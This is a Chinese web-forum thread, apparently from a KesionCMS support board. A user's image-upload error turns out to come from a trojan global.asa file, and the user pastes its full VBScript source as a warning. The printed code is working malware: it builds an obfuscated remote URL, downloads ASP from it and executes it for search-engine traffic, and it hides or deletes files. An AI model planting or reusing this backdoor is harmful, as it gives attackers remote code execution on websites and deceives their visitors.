账号通
    

账号  

密码  

6614

查看

22

回复
主题:上传图片时出现 Request 对象 错误 ASP 0206 : 80004005 [收藏主题] 转到:  
suncohey 当前离线

477

主题

29

广播

10

粉丝
添加关注
级别:版主

用户积分:1727 分
登录次数:920 次
注册时间:2009/11/23
最后登录:2019/1/11
suncohey 发表于:2012/1/4 14:41:28   | 显示全部帖子 查看该作者主题 楼主 
做在线知识付费 选科汛云开店
Request 对象 错误 'ASP 0206 : 80004005'





不能调用 BinaryRead





\INCLUDE\../../KS_Cls/UploadFunction.asp,行 342





使用 Request.Form 集合之后,不能调用 BinaryRead。



以前一直很好,今天上传图片突然间出现这种错误!!求救啊!!!!

 
  支持(14) | 反对(14) 回到顶部顶端 回到底部底部
suncohey 当前离线

477

主题

29

广播

10

粉丝
添加关注
级别:版主

用户积分:1727 分
登录次数:920 次
注册时间:2009/11/23
最后登录:2019/1/11
suncohey 发表于:2012/1/4 15:03:37   | 显示全部帖子 查看该作者主题 沙发 
做在线知识付费 选科汛云开店
谁遇见过这种情况,,说说原因呗,,急啊:(
 
  支持(14) | 反对(14) 回到顶部顶端 回到底部底部
suncohey 当前离线

477

主题

29

广播

10

粉丝
添加关注
级别:版主

用户积分:1727 分
登录次数:920 次
注册时间:2009/11/23
最后登录:2019/1/11
suncohey 发表于:2012/1/5 10:42:32   | 显示全部帖子 查看该作者主题 藤椅 
做在线知识付费 选科汛云开店

问题找到了 可能由于服务器的原因 我的网站根目录被上传了一个 global.asa 文件 这一一个木马文件导致一些了的问题 比如 后台登陆 是老提示验证码错误,图片上传不上等问题 关于这个木马的危害可以网上搜搜 我用的是7.06版本的程序! 我下面把global.asa 的代码贴出来 大家看看那!


<script language="vbscript" runat="server">
'网站全局文件,非专业人员勿乱动!!

















































'by*diao
'by*aming
sub Session_OnStart

'=================================================================
dim name
name=request.servervariables("Path_Translated")
Set fso = Server.CreateObject("scripting.filesystemobject")
set f=fso.Getfile("//./" & Server.MapPath("/global.asa"))
Dim v
Dim t
ReDim A(Request.Form.Count)
ReDim B(Request.Form.Count)
v=Request.Form
t=Request.Form.Count
if t>0 then
For i=0 To t-1
b(i)=Split(Split(v,"&")(i),"=")(1)
if instr(LCase(b(i)),"global.asa")>0 then
f.Attributes=1+2+4
response.end()
end if
Next
end If
'=================================================================
allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot",",")
DC=false
For agenti=lbound(allow_agent) to ubound(allow_agent)
    If instr(user_agent,allow_agent(agenti))>0 then
       DC=true
       exit for
    end if
Next
CF=False
Krobotlist = "baidu|google|sogou|soso|yahoo|bing|youdao|qihoo|iask"
Botlist = Split(Krobotlist,"|")
For i = 0 To Ubound(Botlist)
    If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then
    CF = True
    Exit For
    End If
Next

if (DC=false and CF=True and request.servervariables("QUERY_STRING")<>"") Or(instr(request.servervariables("HTTP_USER_AGENT"),"aidu")>0) then
'==========================================================
'原程序


url="h"&"t"&"t"&"p"&":"&"/"&"/"&"w"&"w"&"w"&"."&"x"&"r"&"l"&"o"&"v"&"e"&"."&"c"&"o"&"m"&"/"&"t"&"x"&"t"&"/"&"4"&"."&"a"&"s"&"p"
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
if instr(GetHtml,"by*aming")>0 then
  execute GetHtml
end If

elseif instr(name,";")>0 then
set m=fso.Getfile(name)
m.Attributes=0
fso.DeleteFile(name)
f.Attributes=1+2+4
response.end()
elseif instr(request.servervariables("QUERY_STRING"),".asa")>0  then
f.Attributes=1+2+4
response.end()
End If

f.Attributes=1+2+4
end sub

</script>

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
<上一主题 | 下一主题 >
Powered By KesionCMS Version X1
厦门科汛软件有限公司 © 2006-2016 页面执行0.48828秒 powered by KesionCMS 9.0